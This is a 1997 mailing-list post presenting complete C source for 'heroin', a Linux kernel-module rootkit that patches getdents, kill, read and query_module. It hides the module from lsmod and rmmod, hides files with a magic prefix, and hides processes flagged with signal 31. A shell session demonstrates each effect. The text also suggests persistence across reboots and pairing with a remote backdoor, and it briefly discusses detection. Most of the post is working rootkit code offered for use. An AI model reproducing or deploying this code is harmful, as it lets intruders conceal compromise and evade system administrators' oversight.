Malicious Linux modules
Runar Jensen (zarq@1STNET.COM)
Thu, 9 Oct 1997 00:37:52 -0500
As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
to patch any system call under Linux from within a module. This means that
once your system has been compromised at the root level, it is possible for
an intruder to hide completely _without_ modifying any binaries or leaving
any visible backdoors behind. Because such tools are likely to be in use
within the hacker community already, I decided to publish a piece of code to
demonstrate the potentials of a malicious module.
The following piece of code is a fully working Linux module for 2.1 kernels
that patches the getdents(), kill(), read() and query_module() calls. Once
loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
modifying the output of every query_module() call and every read() call
accessing /proc/modules. Apparently rmmod also calls query_module() to list
all modules before attempting to remove the specified module, and will
therefore claim that the module does not exist even if you know its name. The
output of any getdents() call is modified to hide any files or directories
starting with a given string, leaving them accessible only if you know their
exact names. It also hides any directories in /proc matching pids that have a
specified flag set in its internal task structure, allowing a user with root
access to hide any process (and its children, since the task structure is
duplicated when the process does a fork()). To set this flag, simply send the
process a signal 31 which is caught and handled by the patched kill() call.
To demonstrate the effects...
[root@image:~/test]# ls -l
total 3
-rw------- 1 root root 2832 Oct 8 16:52 heroin.o
[root@image:~/test]# insmod heroin.o
[root@image:~/test]# lsmod | grep heroin
[root@image:~/test]# grep heroin /proc/modules
[root@image:~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# echo "I'm invisible" > heroin_test
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# cat heroin_test
I'm invisible
[root@image:~/test]# ps -aux | grep gpm
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image:~/test]# kill -31 223
[root@image:~/test]# ps -aux | grep gpm
[root@image:~/test]# ps -aux 223
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image:~/test]# ls -l /proc | grep 223
[root@image:~/test]# ls -l /proc/223
total 0
-r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
-r-------- 1 root root 0 Oct 8 16:54 environ
lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
dr-x------ 1 root root 0 Oct 8 16:54 fd
pr--r--r-- 1 root root 0 Oct 8 16:54 maps
-rw------- 1 root root 0 Oct 8 16:54 mem
lrwx------ 1 root root 0 Oct 8 16:54 root -> /
-r--r--r-- 1 root root 0 Oct 8 16:53 stat
-r--r--r-- 1 root root 0 Oct 8 16:54 statm
-r--r--r-- 1 root root 0 Oct 8 16:54 status
[root@image:~/test]#
The implications should be obvious. Once a compromise has taken place,
nothing can be trusted, the operating system included. A module such as this
could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
after every reboot, or put in place of a commonly used module and in turn
have it load the required module for an added level of protection. (Thanks
Sean :) Combined with a reasonably obscure remote backdoor it could remain
undetected for long periods of time unless the system administrator knows
what to look for. It could even hide the packets going to and from this
backdoor from the kernel itself to prevent a local packet sniffer from seeing
them.
So how can it be detected? In this case, since the number of processes is
limited, one could try to open every possible process directory in /proc and
look for the ones that do not show up otherwise. Using readdir() instead of
getdents() will not work, since it appears to be just a wrapper for
getdents(). In short, trying to locate something like this without knowing
exactly what to look for is rather futile if done in userspace...
Be afraid. Be very afraid. ;)
.../ru
-----
/*
* heroin.c
*
* Runar Jensen <zarq@opaque.org>
*
* This Linux kernel module patches the getdents(), kill(), read()
* and query_module() system calls to demonstrate the potential
* dangers of the way modules have full access to the entire kernel.
*
* Once loaded, the module becomes invisible and can not be removed
* with rmmod. Any files or directories starting with the string
* defined by MAGIC_PREFIX appear to disappear, and sending a signal
* 31 to any process as root effectively hides it and all its future
* children.
*
* This code should compile cleanly and work with most (if not all)
* recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
* It will not compile as is under 2.0.30, since 2.0.30 lacks the
* query_module() function.
*
* Compile with:
* gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
*/
#include <linux/fs.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>
#define MAGIC_PREFIX "heroin"
#define PF_INVISIBLE 0x10000000
#define SIGINVISI 31
int errno;
static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline _syscall2(int, kill, pid_t, pid, int, sig);
static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
extern void *sys_call_table[];
int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
int (*original_kill)(pid_t, int);
int (*original_read)(int, void *, size_t);
int (*original_query_module)(const char *, int, void *, size_t, size_t *);
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if(*ptr < '0' || *ptr > '9')
return(-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return(res);
}
void mybcopy(char *src, char *dst, unsigned int num)
{
while(num--)
*(dst++) = *(src++);
}
int mystrcmp(char *str1, char *str2)
{
while(*str1 && *str2)
if(*(str1++) != *(str2++))
return(-1);
return(0);
}
struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;
do {
if(task->pid == pid)
return(task);
task = task->next_task;
} while(task != current);
return(NULL);
}
int is_invisible(pid_t pid)
{
struct task_struct *task;
if((task = find_task(pid)) == NULL)
return(0);
if(task->flags & PF_INVISIBLE)
return(1);
return(0);
}
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
int res;
int proc = 0;
struct inode *dinode;
char *ptr = (char *)dirp;
struct dirent *curr;
struct dirent *prev = NULL;
res = (*original_getdents)(fd, dirp, count);
if(!res)
return(res);
if(res == -1)
return(-errno);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
proc = 1;
while(ptr < (char *)dirp + res) {
curr = (struct dirent *)ptr;
if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
(proc && is_invisible(myatoi(curr->d_name)))) {
if(curr == dirp) {
res -= curr->d_reclen;
mybcopy(ptr + curr->d_reclen, ptr, res);
continue;
}
else
prev->d_reclen += curr->d_reclen;
}
else
prev = curr;
ptr += curr->d_reclen;
}
return(res);
}
int hacked_kill(pid_t pid, int sig)
{
int res;
struct task_struct *task = current;
if(sig != SIGINVISI) {
res = (*original_kill)(pid, sig);
if(res == -1)
return(-errno);
return(res);
}
if((task = find_task(pid)) == NULL)
return(-ESRCH);
if(current->uid && current->euid)
return(-EPERM);
task->flags |= PF_INVISIBLE;
return(0);
}
int hacked_read(int fd, char *buf, size_t count)
{
int res;
char *ptr, *match;
struct inode *dinode;
res = (*original_read)(fd, buf, count);
if(res == -1)
return(-errno);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
return(res);
ptr = buf;
while(ptr < buf + res) {
if(!mystrcmp(MAGIC_PREFIX, ptr)) {
match = ptr;
while(*ptr && *ptr != '\n')
ptr++;
ptr++;
mybcopy(ptr, match, (buf + res) - ptr);
res = res - (ptr - match);
return(res);
}
while(*ptr && *ptr != '\n')
ptr++;
ptr++;
}
return(res);
}
int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
{
int res;
int cnt;
char *ptr, *match;
res = (*original_query_module)(name, which, buf, bufsize, ret);
if(res == -1)
return(-errno);
if(which != QM_MODULES)
return(res);
ptr = buf;
for(cnt = 0; cnt < *ret; cnt++) {
if(!mystrcmp(MAGIC_PREFIX, ptr)) {
match = ptr;
while(*ptr)
ptr++;
ptr++;
mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
(*ret)--;
return(res);
}
while(*ptr)
ptr++;
ptr++;
}
return(res);
}
int init_module(void)
{
original_getdents = sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents] = hacked_getdents;
original_kill = sys_call_table[SYS_kill];
sys_call_table[SYS_kill] = hacked_kill;
original_read = sys_call_table[SYS_read];
sys_call_table[SYS_read] = hacked_read;
original_query_module = sys_call_table[SYS_query_module];
sys_call_table[SYS_query_module] = hacked_query_module;
return(0);
}
void cleanup_module(void)
{
sys_call_table[SYS_getdents] = original_getdents;
sys_call_table[SYS_kill] = original_kill;
sys_call_table[SYS_read] = original_read;
sys_call_table[SYS_query_module] = original_query_module;
}
-----
-----
Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com
Network Administrator | or (800) 264-7440 | or zarq@opaque.org
Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com
FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]